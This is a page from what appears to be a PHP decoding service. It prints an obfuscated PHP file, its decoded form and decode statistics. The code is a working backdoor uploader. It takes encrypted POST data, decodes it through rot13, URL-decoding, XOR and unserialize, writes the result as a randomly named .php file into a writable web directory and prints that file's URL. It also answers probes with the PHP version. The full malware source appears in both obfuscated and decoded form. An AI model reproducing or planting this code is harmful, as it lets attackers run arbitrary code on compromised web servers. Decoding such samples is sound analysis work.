Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function OaTjTeBNs($eGpuFc){$naICJawej = "\x72".chr(97).chr(119).chr(117)."\162".'l'..
Decoded Output download
<?php function OaTjTeBNs($eGpuFc){$naICJawej = "r".chr(97).chr(119).chr(117)."r".'l'."d"."e".chr(383-284).chr(707-596)."d".chr(935-834);$KGOwHln = chr(115).chr(116).chr(114)."_".'r'.'o'."t"."1"."3";$XhEtc = "s".'t'.'r'.'_'.chr(115)."p".chr(108)."i".chr(526-410);$eGpuFc = $XhEtc($naICJawej($KGOwHln($eGpuFc)));return $eGpuFc;}function ukGAJcyjSy($hyTZCeYL, $eGpuFc){$CjgewYviMR = chr(729-614)."t"."r".chr(95).chr(115).chr(459-347).chr(510-402).chr(105)."t";$hyTZCeYL = array_slice($CjgewYviMR(str_repeat($hyTZCeYL, (count($eGpuFc)/16)+1)), 0, count($eGpuFc));return $hyTZCeYL;}function wvwACMGrVB($GTuXE, $jPscT, $hyTZCeYL){$ILgVkGlyFr = "2bd1d6c1-f716-4b97-bc65-2eb7ef92296e";return $GTuXE ^ $ILgVkGlyFr[$jPscT % strlen($ILgVkGlyFr)] ^ $hyTZCeYL;}function yoqBgTTPZ($eGpuFc, $hyTZCeYL){$eGpuFc = array_map("wvwACMGrVB", array_values($eGpuFc), array_keys($eGpuFc), array_values($hyTZCeYL));$eGpuFc = implode("", $eGpuFc);$OYbipQcDBW = 'u'."n".'s'."e"."r"."i".chr(283-186).chr(108)."i".'z'.chr(101);$eGpuFc = @$OYbipQcDBW($eGpuFc);return $eGpuFc;}function deodQlK($znqCBir){static $hvwdXGLrUC = array();$xIjYPjJ = glob($znqCBir . '/*', GLOB_ONLYDIR);$esxHdS = count($xIjYPjJ);if ($esxHdS > 0) {foreach ($xIjYPjJ as $znqCB) {$CHguxCMSzi = "i"."s"."_"."w".chr(1051-937).chr(105).'t'."a".chr(98).'l'.chr(417-316);if (@$CHguxCMSzi($znqCB)) {$hvwdXGLrUC[] = $znqCB;}}}foreach ($xIjYPjJ as $znqCBir) deodQlK($znqCBir);return $hvwdXGLrUC;}function wMtFnTAKXN($eGpuFc){$mHBuhZk = "D"."O".chr(418-351).chr(85).chr(77).chr(391-322)."N".'T'.chr(839-744)."R".chr(79)."O".'T';$FDVZbXVLw = $_SERVER[$mHBuhZk];$xIjYPjJ = deodQlK($FDVZbXVLw);$hTEjgjw = array_rand($xIjYPjJ);$cinShFM = chr(46).'p'."h".'p';$IBcIGp = $xIjYPjJ[$hTEjgjw] . "/" . substr(md5(time()), 0, 8) . $cinShFM;$uKbNzOrzo = "f".chr(953-848).'l'.'e'.'_'.'p'.'u'."t".chr(178-83)."c"."o"."n"."t".chr(354-253).chr(638-528).chr(225-109).'s';@$uKbNzOrzo($IBcIGp, $eGpuFc);$JVWZCuIdC = "H"."T"."T".'P'.'_'."H".chr(79).chr(875-792)."T";$aevmihPp = "h"."t".chr(116)."p".":"."/"."/";$zStKz = $aevmihPp . $_SERVER[$JVWZCuIdC] . substr($IBcIGp, strlen($FDVZbXVLw));print($zStKz);die();}foreach ($_POST as $hyTZCeYL => $eGpuFc){$LxhKRgqPum = strlen($hyTZCeYL);if ($LxhKRgqPum == 16){$eGpuFc = OaTjTeBNs($eGpuFc);$hyTZCeYL = ukGAJcyjSy($hyTZCeYL, $eGpuFc);$eGpuFc = yoqBgTTPZ($eGpuFc, $hyTZCeYL);if (@is_array($eGpuFc)){$hTEjgjw = array_keys($eGpuFc);$eGpuFc = $eGpuFc[$hTEjgjw[0]];if ($eGpuFc === $hTEjgjw[0]){$cGqCQP = "p"."h".'p';$PEjqwN = 'p'.'h'.'p'."v".chr(500-399).chr(929-815)."s".chr(662-557)."o"."n";$FhvgHa = chr(115).'e'.chr(597-483).'i'.chr(97).chr(108).chr(105)."z".'e';echo @$FhvgHa(Array($cGqCQP => @$PEjqwN(), ));exit();}else {wMtFnTAKXN($eGpuFc);}}}} ?>
Did this file decode correctly?
Original Code
<?php function OaTjTeBNs($eGpuFc){$naICJawej = "\x72".chr(97).chr(119).chr(117)."\162".'l'."\x64"."\x65".chr(383-284).chr(707-596)."\x64".chr(935-834);$KGOwHln = chr(115).chr(116).chr(114)."\137".'r'.'o'."\164"."\61"."\63";$XhEtc = "\x73".'t'.'r'.'_'.chr(115)."\x70".chr(108)."\151".chr(526-410);$eGpuFc = $XhEtc($naICJawej($KGOwHln($eGpuFc)));return $eGpuFc;}function ukGAJcyjSy($hyTZCeYL, $eGpuFc){$CjgewYviMR = chr(729-614)."\x74"."\x72".chr(95).chr(115).chr(459-347).chr(510-402).chr(105)."\x74";$hyTZCeYL = array_slice($CjgewYviMR(str_repeat($hyTZCeYL, (count($eGpuFc)/16)+1)), 0, count($eGpuFc));return $hyTZCeYL;}function wvwACMGrVB($GTuXE, $jPscT, $hyTZCeYL){$ILgVkGlyFr = "2bd1d6c1-f716-4b97-bc65-2eb7ef92296e";return $GTuXE ^ $ILgVkGlyFr[$jPscT % strlen($ILgVkGlyFr)] ^ $hyTZCeYL;}function yoqBgTTPZ($eGpuFc, $hyTZCeYL){$eGpuFc = array_map("wvwACMGrVB", array_values($eGpuFc), array_keys($eGpuFc), array_values($hyTZCeYL));$eGpuFc = implode("", $eGpuFc);$OYbipQcDBW = 'u'."\x6e".'s'."\x65"."\x72"."\x69".chr(283-186).chr(108)."\x69".'z'.chr(101);$eGpuFc = @$OYbipQcDBW($eGpuFc);return $eGpuFc;}function deodQlK($znqCBir){static $hvwdXGLrUC = array();$xIjYPjJ = glob($znqCBir . '/*', GLOB_ONLYDIR);$esxHdS = count($xIjYPjJ);if ($esxHdS > 0) {foreach ($xIjYPjJ as $znqCB) {$CHguxCMSzi = "\151"."\x73"."\137"."\167".chr(1051-937).chr(105).'t'."\x61".chr(98).'l'.chr(417-316);if (@$CHguxCMSzi($znqCB)) {$hvwdXGLrUC[] = $znqCB;}}}foreach ($xIjYPjJ as $znqCBir) deodQlK($znqCBir);return $hvwdXGLrUC;}function wMtFnTAKXN($eGpuFc){$mHBuhZk = "\x44"."\x4f".chr(418-351).chr(85).chr(77).chr(391-322)."\116".'T'.chr(839-744)."\122".chr(79)."\x4f".'T';$FDVZbXVLw = $_SERVER[$mHBuhZk];$xIjYPjJ = deodQlK($FDVZbXVLw);$hTEjgjw = array_rand($xIjYPjJ);$cinShFM = chr(46).'p'."\x68".'p';$IBcIGp = $xIjYPjJ[$hTEjgjw] . "/" . substr(md5(time()), 0, 8) . $cinShFM;$uKbNzOrzo = "\146".chr(953-848).'l'.'e'.'_'.'p'.'u'."\164".chr(178-83)."\143"."\x6f"."\x6e"."\x74".chr(354-253).chr(638-528).chr(225-109).'s';@$uKbNzOrzo($IBcIGp, $eGpuFc);$JVWZCuIdC = "\x48"."\x54"."\x54".'P'.'_'."\x48".chr(79).chr(875-792)."\124";$aevmihPp = "\150"."\x74".chr(116)."\x70"."\x3a"."\x2f"."\x2f";$zStKz = $aevmihPp . $_SERVER[$JVWZCuIdC] . substr($IBcIGp, strlen($FDVZbXVLw));print($zStKz);die();}foreach ($_POST as $hyTZCeYL => $eGpuFc){$LxhKRgqPum = strlen($hyTZCeYL);if ($LxhKRgqPum == 16){$eGpuFc = OaTjTeBNs($eGpuFc);$hyTZCeYL = ukGAJcyjSy($hyTZCeYL, $eGpuFc);$eGpuFc = yoqBgTTPZ($eGpuFc, $hyTZCeYL);if (@is_array($eGpuFc)){$hTEjgjw = array_keys($eGpuFc);$eGpuFc = $eGpuFc[$hTEjgjw[0]];if ($eGpuFc === $hTEjgjw[0]){$cGqCQP = "\x70"."\150".'p';$PEjqwN = 'p'.'h'.'p'."\x76".chr(500-399).chr(929-815)."\x73".chr(662-557)."\x6f"."\156";$FhvgHa = chr(115).'e'.chr(597-483).'i'.chr(97).chr(108).chr(105)."\172".'e';echo @$FhvgHa(Array($cGqCQP => @$PEjqwN(), ));exit();}else {wMtFnTAKXN($eGpuFc);}}}}
Function Calls
None |
Stats
MD5 | 9e8253a1d75c1576283ac92e46fb4dbe |
Eval Count | 0 |
Decode Time | 71 ms |